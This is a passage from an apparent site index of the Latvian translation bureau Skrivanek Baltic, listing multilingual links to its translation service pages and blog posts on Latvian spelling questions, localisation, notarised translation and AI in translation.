mutiskie tulkojumi un citi risinājumi grieķu valodā. Saņemiet bezmaksas cenas aprēķinu! - [Tulkojumi igauņu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-igaunu-valoda/): Dažādu dokumentu un pasākumu tulkojumi igauņu valodā. Saņemiet bezmaksas cenas aprēķinu tikai 15 minūtēs! - [Tulkojumi itāļu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-italu-valoda/): Dažādu dokumentu un pasākumu tulkojumi itāļu valodā. Saņemiet bezmaksas cenas aprēķinu tikai 15 minūtēs, sazinieties ar mums! - [Tulkojumi krievu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-krievu-valoda/): Tulkojumi krievu valodā: dokumentu tulkojumi, mutiskie tulkojumi, lokalizācija un citi risinājumi. Saņemiet bezmaksas cenas aprēķinu! - [Tulkojumi lietuviešu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-lietuviesu-valoda/): Dažādu dokumentu un pasākumu tulkojumi lietuviešu valodā. Saņemiet bezmaksas cenas aprēķinu tikai 15 minūtēs! - [Tulkojumi norvēģu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-norvegu-valoda/): Dažādu dokumentu un pasākumu tulkojumi norvēģu valodā. ISO sertificēts tulkošanas birojs, Saņemiet cenas aprēķinu bez maksas! - [Tulkojumi poļu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-polu-valoda/): Dažādu dokumentu tulkojumi un pasākumu tulkojumi poļu valodā. Saņemiet bezmaksas cenas piedāvājumu tikai 15 minūtēs! - [Tulkojumi somu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-somu-valoda/): Dažādu dokumentu un pasākumu tulkojumi somu valodā. ISO sertificēts tulkošanas birojs. Saņemiet cenas piedāvājumu tikai 15 minūtēs! - [Tulkojumi spāņu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-spanu-valoda/): Profesionāli dažādu dokumentu un pasākumu tulkojumi spāņu valodā. Saņemiet cenas aprēķinu bez maksas tikai 30 minūtēs! Sazinieties ar mums! - [Tulkojumi vācu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-vacu-valoda/): Interesanti fakti par vācu valodu un Vāciju, kā arī par Skrivanek tulkošanas biroja pakalpojumiem vācu valodā. Viss par un ap vācu valodu. - [Tulkojumi zviedru valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-zviedru-valoda/): Dažādu dokumentu un pasākumu tulkojumi zviedru valodā. Saņemiet bezmaksas cenas piedāvājumu tikai 15 minūtēs! - [Tulkojumi 110 valodās](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/): Rakstiskie tulkojumi, mutiskie tulkojumi un citi valodu pakalpojumi visās populārākajās Eiropas valodu kombinācijās. Saņemiet bezmaksas cenas aprēķinu! - [English language](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-anglu-valoda/): General and specialised translations in English. Notary-certified translations. Interpreting services and other English language solutions. - [Danish Language](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-danu-valoda/): Specialised and general translations in Danish language. Interpreting and other Danish language solutions. Contact us! - [Finnish language](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-somu-valoda/): General and specialised translations in Finnish language. Interpreting services and individual Finnish language courses. Contact us! - [Swedish Language](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-zviedru-valoda/): General and specialised, notary-certified translations, interpreting, localisation and Swedish language courses. Contact us! - [Spanish Language](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-spanu-valoda/): General and specialised, notary-certified translations, interpretation and other Spanish language solutions. Spanish language courses. - [German language](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-vacu-valoda/): Specialised and general translations, notary-certified translations, interpreting, language courses and other German language solutions. - [Lithuanian language](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-lietuviesu-valoda/): General and specialised, notary-certified translations in Lithuanian language. Interpreting and other Lithuanian language solutions. - [Polish language](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-polu-valoda/): General and specialised translations, interpreting, localisation and other Polish language solutions. Get a free quote within 15 min! - [Italian language](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-italu-valoda/): General and specialised, notary-specialised translations in Italian language. Interpreting services and Italian language courses. - [French language](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-francu-valoda/): General and specialised translations, notary-certified translations, interpreting and other French language solutions. - [Skrivanek Baltic](https://skrivanek.lv/): Tulkošanas birojs ar vairāk nekā 30 gadu pieredzi – profesionāli un kvalitatīvi valodu pakalpojumi uzņēmumiem un privātpersonām. Sazinies!️ --- ## Ziņas - [Mača, matča vai matcha](https://skrivanek.lv/maca-matca-vai-matcha/): Mača, matča vai matcha – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Afrikānis vai āfrikānis](https://skrivanek.lv/afrikanis-vai-afrikanis/): Afrikānis vai āfrikānis – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Kečups vai ketčups](https://skrivanek.lv/kecups-vai-ketcups/): Kečups vai ketčups – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Sociālie tīkli vai sociālie mediji](https://skrivanek.lv/socialie-tikli-vai-socialie-mediji/): Sociālie tīkli vai sociālie mediji – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Vetārsts / veterinārs / veterinārārsts](https://skrivanek.lv/vetarsts-veterinars-veterinararsts/): Vetārsts / veterinārs / veterinārārsts – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Dekors vai dekols](https://skrivanek.lv/dekors-vai-dekols/): Dekors vai dekols – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Acetons vai acitons](https://skrivanek.lv/acetons-vai-acitons/): Acetons vai acitons – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Daži izmēģināti un pārbaudīti padomi, kā izvēlēties tulkošanas biroju](https://skrivanek.lv/ka-izveleties-kvalitativu-tulkosanas-biroju/): Kā izvēlēties kvalitatīvu tulkošanas biroju? Skrivanek Baltic – profesionāli tulkojumi, notariāli apliecinājumi un valodu kursi. - [ChatGPT un tulkošanas kvalitāte: kāpēc tulkošanas biroji joprojām ir un būs svarīgi](https://skrivanek.lv/chatgpt-un-kvalitates-nodrosinasana/): ChatGPT tulkošanas kvalitāte: kāpēc tulkošanas biroji ir un būs svarīgi mākslīgā intelekta laikmetā! Cilvēka prasmes jāapvieno ar tehnoloģijām - [Konsilijs vai konsīlijs](https://skrivanek.lv/konsilijs-vai-konsilijs/): Konsilijs vai konsīlijs – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Antibakteriāls vai antibaktriāls, vai antibaktreāls](https://skrivanek.lv/antibakterials-vai-antibaktrials-vai-antibaktreals/): Antibakteriāls vai antibaktriāls, vai antibaktreāls – kā ir pareizi? Ieskaties, šis un citi noderīgi latviešu valodas padomi vienuviet! - [Čia vai čija](https://skrivanek.lv/cia-vai-cija/): Čia vai čija – kā ir pareizi? Ieskaties un uzzini! Šis un daudzi citi noderīgi latviešu valodas padomi par izplatītām kļūdām vienuviet! - [Skrupulozs vai skurpulozs](https://skrivanek.lv/skrupulozs-vai-skurpulozs/): Skrupulozs vai skurpulozs – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Darīt vai ne / darīt vai nē](https://skrivanek.lv/darit-vai-ne-darit-vai-ne/): Darīt vai ne / darīt vai nē – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Tevis dēļ vai dēļ tevis](https://skrivanek.lv/tevis-del-vai-del-tevis/): Tevis dēļ vai dēļ tevis – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Tevīm / tevij / tevim](https://skrivanek.lv/tevim-tevij-tevim/): Tevīm / tevij / tevim – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Saturnējis vai satrunējis](https://skrivanek.lv/saturnejis-vai-satrunejis/): Saturnējis vai satrunējis – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Rēgu rakstnieka loma tulkošanā](https://skrivanek.lv/regu-rakstnieka-loma-tulkosana/): Rēgu rakstniecība – kā tā atšķiras no radošā tekstu sagatavošanas. Iepazīsti, kā profesionālie rēgu rakstnieki un tulkotāji palīdz autoriem. - [Izspūris vai izpūris](https://skrivanek.lv/izspuris-vai-izpuris/): Izpūris vai izspūris – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Enerģisks vai enerģētisks](https://skrivanek.lv/energisks-vai-energetisks/): Enerģisks vai enerģētisks – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Tuvojas plaša mākslīgā intelekta regulējums – kā uzņēmumiem sagatavoties?](https://skrivanek.lv/maksliga-intelekta-regulejums/): Mākslīgā intelekta regulējums – kā uzņēmumiem sagatavoties? Mākslīgais intelekts (MI) vairs nav tikai zinātniskā fantastika. - [Es sēdu vai es sēžu](https://skrivanek.lv/es-sedu-vai-es-sezu/): Es sēžu vai es sēdu – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Kāpēc Latvijas Premium SPA pārspēj ārzemju kūrortus?](https://skrivanek.lv/kapec-latvijas-premium-spa-parspej-arzemju-kurortus/): Salīdzinot ar ārvalstu kūrortiem, spa atpūta Latvijā ir pieejama par ievērojami pievilcīgākām cenām – no 30 līdz 190 eiro par nakti. - [Fotografēt vai fotogrāfēt?](https://skrivanek.lv/fotografet-vai-fotografet/): Fotografēt vai fotogrāfēt – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Affiliate Marketing: What It Is and How It Works](https://skrivanek.lv/en/affiliate-marketing-what-it-is-and-how-it-works/): Affiliate marketing is a performance-based marketing strategy in which individuals (affiliates) promote a company’s products or services in exchange for a commission on sales or leads generated through their unique referral links. - [Kādas kļūdas pieļauj cilvēki, pērkot sēklas internetā?](https://skrivanek.lv/kadas-kludas-pielauj-cilveki-perkot-seklas-interneta/): [vc_column width=”2/3″ disable_custom_paddings_mobile=”true” mobile_padding_top=”0″ mobile_padding_bottom=”0″ mobile_padding_left=”0″... - [Luteriskā baznīca vai luterāņu baznīca](https://skrivanek.lv/luteriska-baznica-vai-luteranu-baznica/): Luteriskā baznīca vai luterāņu baznīca – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Dopamīns vai dopomīns](https://skrivanek.lv/dopamins-vai-dopomins/): Dopamīns vai dopomīns – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Licence vai licenze, vai license](https://skrivanek.lv/licence/): Lai varētu piedalīties svētku tirdziņā, tirgotājiem bija jāsaņem licenze vai license? Vai tomēr licence? Ieskaties un uzzini atbildi! - [Vai mākslīgais intelekts un mašīntulkotāji tiešām ir tik labi?](https://skrivanek.lv/vai-maksligais-intelekts-un-masintulkotaji-tiesam-ir-tik-labi/): Ja arī jūs nevēlaties riskēt ar tulkojuma kļūdām, kas var izkropļot svarīgu informāciju vai pat kaitēt uzņēmuma reputācijai, sazinieties! - [Esība vai esamība](https://skrivanek.lv/esiba-vai-esamiba/): Esība vai esamība – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Vegāns vai vegānisks](https://skrivanek.lv/vegans-vai-veganisks/): Vegāns vai vegānisks uzturs? Ieskaties un uzzini atbildi! Iepazīsti daudzus noderīgus valodas padomus vienuviet! - [Ārējs vai ārīgs](https://skrivanek.lv/arejs-vai-arigs/): Ārējs vai ārīgs – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Morzas ābece vai Morzes ābece](https://skrivanek.lv/morzas-abece-vai-morzes-abece/): Morzas ābece vai Morzes ābece – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Polietelēns vai polietilēns](https://skrivanek.lv/polietelens-vai-polietilens/): Polietelēns vai polietilēns – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet. - [Medicīniskā tulkošana – lai tava veselība būtu drošās rokās](https://skrivanek.lv/mediciniska-tulkosana-lai-tava-veseliba-butu-drosas-rokas/): Medicīniskā tulkošana – lai tava veselība būtu drošās rokās. Nodrošinām kvalitatīvus tulkojumus, sadarbojoties ar ekspertiem. Sazinies! - [Pomelo vai pamelo](https://skrivanek.lv/pomelo-vai-pamelo/): Pomelo vai pamelo – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Skrīnšots, ekrānšāviņš, ekrānuzņēmums](https://skrivanek.lv/skrinsots-ekransavins-ekranuznemums/): Skrīnšots vai ekrānšāviņš, vai ekrānuzņēmums – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Urbināt vai rubināt](https://skrivanek.lv/urbinat-vai-rubinat/): Urbināt vai rubināt – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Piekļūstamības direktīva un tās nozīmīgums uzņēmējiem](https://skrivanek.lv/pieklustamibas-direktiva-un-tas-nozimigums-uznemejiem/): Piekļūstamības direktīva – ietekme uz uzņēmumiem un kā nodrošināt digitālo piekļūstamību. Atklājiet galvenās prasības tīmekļvietnēm. - [Likums vai likumdošana](https://skrivanek.lv/likums-vai-likumdosana/): Atbilstoši likumam vai atbilstoši likumdošanai – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Translation of training videos](https://skrivanek.lv/macibu-video-tulkosana/): Find out how professional training video translation and localisation can help your business reach an international audience. Get in touch! - [Arlabunakti, ar labunakti vai ar labu nakti](https://skrivanek.lv/arlabunakti-ar-labunakti-vai-ar-labu-nakti/): Arlabunakti, ar labunakti vai ar labu nakti – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Daudz bāzu vai daudz bāžu](https://skrivanek.lv/daudz-bazu-vai-daudz-bazu/): Daudz bāzu vai daudz bāžu – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Plest vai plēst](https://skrivanek.lv/plest-vai-pleest/): Plest vai plēst spārnus – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Mācību video tulkošana](https://skrivanek.lv/macibu-video-tulkosana/): Uzziniet, kā profesionāla mācību video tulkošana un lokalizācija var palīdzēt tavam uzņēmumam sasniegt starptautisku auditoriju. Sazinies! - [10 interessante Fakten, die Sie nicht über Weihnachten wussten](https://skrivanek.lv/10-interesanti-fakti-ko-tu-nezinaji-par-ziemassvetkiem/): Hat der Weihnachtsmann schon immer einen roten Anzug getragen? Wer hat den ersten Weihnachtsbaum geschmückt?🎄 Wissenswertes über Weihnachten - [Was ist die Keyword-Recherche? Wie können Sie Ihr Publikum online erreichen?](https://skrivanek.lv/kas-ir-atslegas-vardu-izpete-ka-piesaistit-merkauditoriju-tiessaiste/): Es ist wichtig, bei der Erstellung einer Website oder einer Marketingkampagne nach Schlüsselwörtern zu suchen. - [Was bedeutet UX und UI?](https://skrivanek.lv/kas-ir-ux-un-kas-ir-ui/): Was bedeutet UX oder auch Nutzererfahrung? Was bedeutet UI oder auch Benutzerschnittstelle? Was ist der Unterschied zwischen UX und UI? - [Wie man ein Übersetzungsbüro auswählt](https://skrivanek.lv/ka-izveleties-tulkosanas-biroju/): Es gibt regelrecht ein Meer aus Übersetzungsbüros. Lesen Sie, um herauszufinden, worauf Sie bei der Wahl des richtigen Büros achten sollten. - [Was ist - Internationalisierung (i18n), Lokalisierung (l10n), Globalisierung (g11n) und Lokalisierbarkeit (l12y)](https://skrivanek.lv/kas-ir-kas-internationalization-i18n-localization-l10n-globalization-g11n-un-localizability-l12y/): Was versteht man unter Internationalisierung, Lokalisierung, Globalisierung und Lokalisierbarkeit? Erfahren Sie mehr. - [Gehört die KI Ihnen oder gibt es vielleicht keinen Besitzer?](https://skrivanek.lv/de/gehort-die-ki-ihnen-oder-gibt-es-vielleicht-keinen-besitzer/): Erfahren Sie, wer wirklich Eigentümer von KI-Systemen ist und welche Auswirkungen dies für Unternehmen und Einzelpersonen hat. - [Künstliche Intelligenz](https://skrivanek.lv/kas-ir-maksligais-intelekts/): Was ist die künstliche Intelligenz und was kann sie leisten? Was sind die Mythen über KI und ihre Zukunftsaussichten? Lesen Sie! - [Was ist das Korrekturlesen und wann wird es eingesetzt?](https://skrivanek.lv/kas-ir-teksta-korektura-un-kad-to-izmantot/): Was ist der Unterschied zwischen dem Korrekturlesen und dem Lektorat? Wann Korrekturlesen erforderlich ist und welche Fehler ein Korrekturleser korrigiert. - [Wann benötigen Sie eine notariell beglaubigte Übersetzung?](https://skrivanek.lv/kados-gadijumos-nepieciesams-notariali-apliecinats-tulkojums/): Was ist eine notariell beglaubigte Übersetzung? Für welche Dokumente und wann ist sie notwendig? Finden Sie es in diesem Artikel heraus! - [Was ist eine Apostille?](https://skrivanek.lv/kas-ir-apostille/): Wie werden Dokumente mit einer Apostille legalisiert? Was ist eine Apostille? Für welche Dokumente ist sie erforderlich? Die Antworten finden Sie in diesem Artikel! - [Übersetzung: Warum sollte man das den Profis überlassen?](https://skrivanek.lv/tulkosana-kadel-to-uzticet-profesionaliem/): Was ist eine Übersetzung? Welche Übersetzungsdienstleistungen bieten Übersetzungsbüros an und wie wähle ich einen Übersetzungsdienstleister aus? Lesen Sie hier mehr dazu! - [Einzigartige und interessante Weihnachtstraditionen aus 12 Ländern der Welt](https://skrivanek.lv/unikalas-un-interesantas-ziemassvetku-tradicijas-no-12-pasaules-valstim/): Nicht jeder schmückt den Weihnachtsbaum, verteilt Geschenke und wartet auf den Weihnachtsmann. Wir haben einige interessante Weihnachtstraditionen aus aller Welt gesammelt. - [Militärisches Alphabet](https://skrivanek.lv/militarais-alfabets/): Lernen Sie die Genauigkeit der militärischen Kommunikation mit unserem Spickzettel für das militärische Phonetische Alphabet kennen. Lernen Sie das Alphabet von Alpha bis Zulu. - [Militärtechnik](https://skrivanek.lv/militaras-tehnologijas/): Die Entwicklung der Militärtechnologie hat positive Auswirkungen auf verschiedene Sektoren. Lernen internationale lettische Unternehmen kennen - [Konferenzdolmetschen - Vorteile, Begriffe und Erklärungen](https://skrivanek.lv/konferencu-tulkosana-prieksrocibas-termini-un-skaidrojumi/): Konferenzdolmetschen - lesen Sie unseren Blogbeitrag und erfahren Sie, was Sie für eine erfolgreiche Konferenz und gutes Dolmetschen benötigen. - [Laimīgu jauno gadu vai Jauno gadu, vai Jaungadu](https://skrivanek.lv/laimigu-jauno-gadu-vai-jauno-gadu-vai-jaungadu/): Kā ir pareizi? Laimīgu jauno gadu! / Laimīgu Jauno gadu! / Laimīgu Jaungadu! Uzzini! Šis un daudzi citi noderīgi latviešu valodas padomi. - [Fun games to celebrate Christmas](https://skrivanek.lv/smiekligas-un-jautras-speles-ziemassvetkiem/): Discover 20 fun games to celebrate Christmas with family, friends or colleagues. From the ugly sweater competition to the gift bag race! - [Jautras spēles Ziemassvētku svinībām](https://skrivanek.lv/smiekligas-un-jautras-speles-ziemassvetkiem/): Atklāj 20 jautras spēles Ziemassvētku svinībām ar ģimeni, draugiem vai kolēģiem. No neglīto džemperu konkursa līdz dāvanu maisa skrējienam! - [Pietupjos vai pietupstos?](https://skrivanek.lv/pietupjos-vai-pietupstos/): Es tupjos vai tupstos – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Уникальные и интересные рождественские традиции из 12 стран мира](https://skrivanek.lv/unikalas-un-interesantas-ziemassvetku-tradicijas-no-12-pasaules-valstim/): Не все украшают елки, дарят подарки и ждут в гости Санта-Клауса. Мы собрали несколько интересных рождественских традиций со всего мира. - [Daudzvalodības nozīme atjaunīgās enerģijas iegūšanā](https://skrivanek.lv/daudzvalodibas-nozime-atjaunigas-energijas-iegusana/): Daudzvalodības nozīme atjaunīgās enerģijas iegūšanā: globāla sadarbība, tehnoloģiju attīstība un ilgtspējīga nākotne. Uzzini vairāk! - [Kvadrobers vai kvadroberis](https://skrivanek.lv/kvadrobers-vai-kvadroberis/): Kvadrobers vai kvadroberis – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Перевод: зачем обращаться к профессионалам?](https://skrivanek.lv/tulkosana-kadel-to-uzticet-profesionaliem/): Что такое перевод? Какие услуги предоставляют бюро переводов и как выбрать бюро переводов? Читайте здесь! Свяжитесь с Skrivanek. - [Medmāsa, māsiņa vai māsa](https://skrivanek.lv/medmasa-masina-vai-masa/): Medmāsa, māsiņa vai māsa – kurš mūs aprūpē, kad esam slimnīcā? Ieskaties un uzzini atbildi! Daudzi noderīgi valodas padomi vienuviet! - [Когда вам нужен нотариально заверенный перевод?](https://skrivanek.lv/kados-gadijumos-nepieciesams-notariali-apliecinats-tulkojums/): Что такое нотариально заверенный перевод? Для каких документов и в каких случаях он необходим? Узнайте об этом в данной статье! - [Apprecēties vai aprecēties](https://skrivanek.lv/appreceties-vai-apreceties/): Kārlis ar Anitu pagājušā nedēļā aprecējās vai apprecējās? Ieskaties un uzzini atbildi! Daudzi noderīgi valodas padomi vienuviet! - [90. gadi vai 90-tie gadi, vai 90.tie gadi](https://skrivanek.lv/90-gadi-vai-90-tie-gadi-vai-90tie-gadi/): Kā ir pareizi? 90. gadi vai 90-tie gadi, vai 90.tie gadi? Uzzini pareizo atbildi šeit. Šis un daudzi citi noderīgi latviešu valodas padomi. - [Что такое корректура и когда ее следует использовать?](https://skrivanek.lv/kas-ir-teksta-korektura-un-kad-to-izmantot/): В чем разница между корректурой и редактированием? Когда нужна корректура и какие ошибки исправляет корректор? Узнайте! - [Как выбрать бюро переводов](https://skrivanek.lv/ka-izveleties-tulkosanas-biroju/): Существует множество бюро переводов. Читайте эту статью, чтобы узнать, на что следует обратить внимание при выборе подходящего бюро. - [Что такое исследование ключевых слов? Как привлечь аудиторию в Интернете?](https://skrivanek.lv/kas-ir-atslegas-vardu-izpete-ka-piesaistit-merkauditoriju-tiessaiste/): При разработке веб-сайта или маркетинговой кампании важно провести исследование ключевых слов. SEO-специалисты Skrivanek выполняют исследование ключевых слов и оптимизацию веб-сайта. - [Военный алфавит](https://skrivanek.lv/militarais-alfabets/): Изучите тему точности коммуникации в военной сфере с помощью нашей шпаргалки по фонетическому алфавиту. Выучите алфавит от альфа до зулу. - [Военные технологии](https://skrivanek.lv/militaras-tehnologijas/): Развитие военных технологий оказывает положительное влияние на гражданский и коммерческий секторы. Познакомьтесь с международными и латвийскими компаниями. - [Игровые термины и их толкование](https://skrivanek.lv/videospelu-termini-un-to-skaidrojumi/): Мы составили краткий словарь игровых терминов. Загляните, особенно если видеоигры – ваше хобби! Свяжитесь с компанией Skrivanek. - [Большие языковые модели](https://skrivanek.lv/lielie-valodu-modeli/): Большие языковые модели (БЯМ) – понимают, генерируют и переводят текст, используя огромный объем данных. Свяжитесь с компанией Skrivanek и узнайте, чем мы можем помочь! - [Atbildēt vēstulei vai atbildēt uz vēstuli](https://skrivanek.lv/atbildet-vestulei-vai-atbildet-uz-vestuli/): Es atbildēju vēstulei vai uz vēstuli? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Искусственный интеллект – помощник в переводе, но не заместитель](https://skrivanek.lv/maksligais-intelekts-paligs-tulkosanai-tacu-ne-aizstajejs/): Узнайте мнение Skrivanek об использовании искусственного интеллекта в переводе: потенциал, риски и почему участие человека по-прежнему важно. - [Как локализация видеоигр может улучшить показатели продаж?](https://skrivanek.lv/ka-videospelu-lokalizacija-var-uzlabot-pardosanas-raditajus/): Инвестируя в локализацию видеоигр, разработчики расширяют свой рынок, увеличивают многообразие геймеров и повышают объемы продаж. - [Luksafors vai luksofors](https://skrivanek.lv/luksafors-vai-luksofors/): Auto apturēsim pie sarkanā luksafora vai luksofora signāla? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Diognāle, diogonāle vai diagonāle](https://skrivanek.lv/diognale-diogonale-vai-diagonale/): Nogrieznis, kas savieno divas daudzstūra virsotnes, ir diognāle, diogonāle vai diagonāle? Ieskaties! Daudzi noderīgi valodas padomi vienuviet! - [QR kods vai kvadrātkods](https://skrivanek.lv/qr-kods-vai-kvadratkods/): Reģistratūrā ar telefonu noskenēsim QR kodu vai kvadrātkodu? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Nākamais vai nākošais](https://skrivanek.lv/nakamais-vai-nakosais/): Mēs tiksimies nākamajā nedēļā vai nākošajā nedēļā? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Mākslīgais intelekts salīdzinot ar tulkotāju](https://skrivanek.lv/tulkotajs/): Lai gan mākslīgais intelekts piedāvā daudzsološas iespējas, cilvēka loma joprojām ir neaizstājama, īpaši sarežģītu tekstu tulkošanā. - [Kā gūt maksimālu labumu no dalības starptautiskās izstādēs?](https://skrivanek.lv/ka-gut-maksimalu-labumu-no-dalibas-starptautiskas-izstades/): Izstāžu materiālu tulkošana 110 valodās. Skrivanek piedāvā reklāmu, subtitru un mājaslapu tulkošanu, kā arī mutisko tulkošanu un valodu kursus - [Paralimpisks vai paraolimpisks](https://skrivanek.lv/paralimpisks-vai-paraolimpisks/): Sportisti izcīnīja medaļas paralimpiskajās spēlēs vai paraolimpiskajās spēlēs? Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Conference Interpreting - Advantages, Terms and Explanations](https://skrivanek.lv/konferencu-tulkosana-prieksrocibas-termini-un-skaidrojumi/): Conference Interpreting – check out our blog post and find out what you need for a successful conference and quality interpreting. - [Konverentsitõlge – eelised, mõisted ja selgitused](https://skrivanek.lv/konferencu-tulkosana-prieksrocibas-termini-un-skaidrojumi/): Konverentsitõlge – lugege meie blogist, mida on vaja selleks, et konverents õnnestuks ja tõlge oleks kvaliteetne. - [Перевод конференций – преимущества, термины и пояснения](https://skrivanek.lv/konferencu-tulkosana-prieksrocibas-termini-un-skaidrojumi/): Перевод конференций – ознакомьтесь со статьей в нашем блоге и узнайте, что необходимо для того, чтобы конференция прошла успешно и перевод был качественным. - [Pataloģija vai patoloģija](https://skrivanek.lv/patalogija-vai-patologija/): Novirze no normas ir pataloģija vai patoloģija? Uzzini atbildi jau tagad! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Flomasters vai flomāsters](https://skrivanek.lv/flomasters-vai-flomasters/): Svarīgu informāciju izcelsim ar flomasteru vai ar flomāsteru? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Kolagēns vai kalogēns](https://skrivanek.lv/kolagens-vai-kalogens/): Kā sauc vielu, kura ir tik nozīmīga cilvēka ķermenim: kalogēns vai kolagēns? Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Konferenču tulkošana – priekšrocības, termini un skaidrojumi](https://skrivanek.lv/konferencu-tulkosana-prieksrocibas-termini-un-skaidrojumi/): Konferenču tulkošana – apskati mūsu bloga rakstu un uzzini, kas nepieciešams, lai konference būtu izdevusies un tulkojums būtu kvalitatīvs. - [Kā vai nekā](https://skrivanek.lv/ka-vai-neka/): Kuru no saikļiem lietot – kā vai nekā?? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Jeb vai jebšu](https://skrivanek.lv/jeb-vai-jebsu/): Kuru no saikļiem lietot – jeb vai jebšu? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Kontrobass vai kontrabass](https://skrivanek.lv/kontrobass-vai-kontrabass/): Kā sauc vielu, kura ir tik nozīmīga cilvēka ķermenim: kalogēns vai kolagēns? Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Parīzes Olimpiskās spēles vai Parīzes olimpiskās spēles](https://skrivanek.lv/parizes-olimpiskas-speles-vai-parizes-olimpiskas-speles/): Atbalstīsim mūsu sportistus Olimpiskajās spēlēs vai Olimpiskajās spēlēs? Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Vorčesteras mērce vai Vusteras mērce](https://skrivanek.lv/vorcesteras-merce-vai-vusteras-merce/): Vorčesteras mērce vai Vusteras mērce – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Militārās tehnoloģijas](https://skrivanek.lv/militaras-tehnologijas/): Militāro tehnoloģiju attīstība pozitīvi ietekmē arī civilo un komerciālo nozari. Uzzini vairāk par starptautiskiem un Latvijas uzņēmumiem. - [Priekš tevis vai Tev?](https://skrivanek.lv/prieks-tevis-vai-tev/): Priekš tevis vai tev – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Military technology](https://skrivanek.lv/militaras-tehnologijas/): Development of military technology has a positive 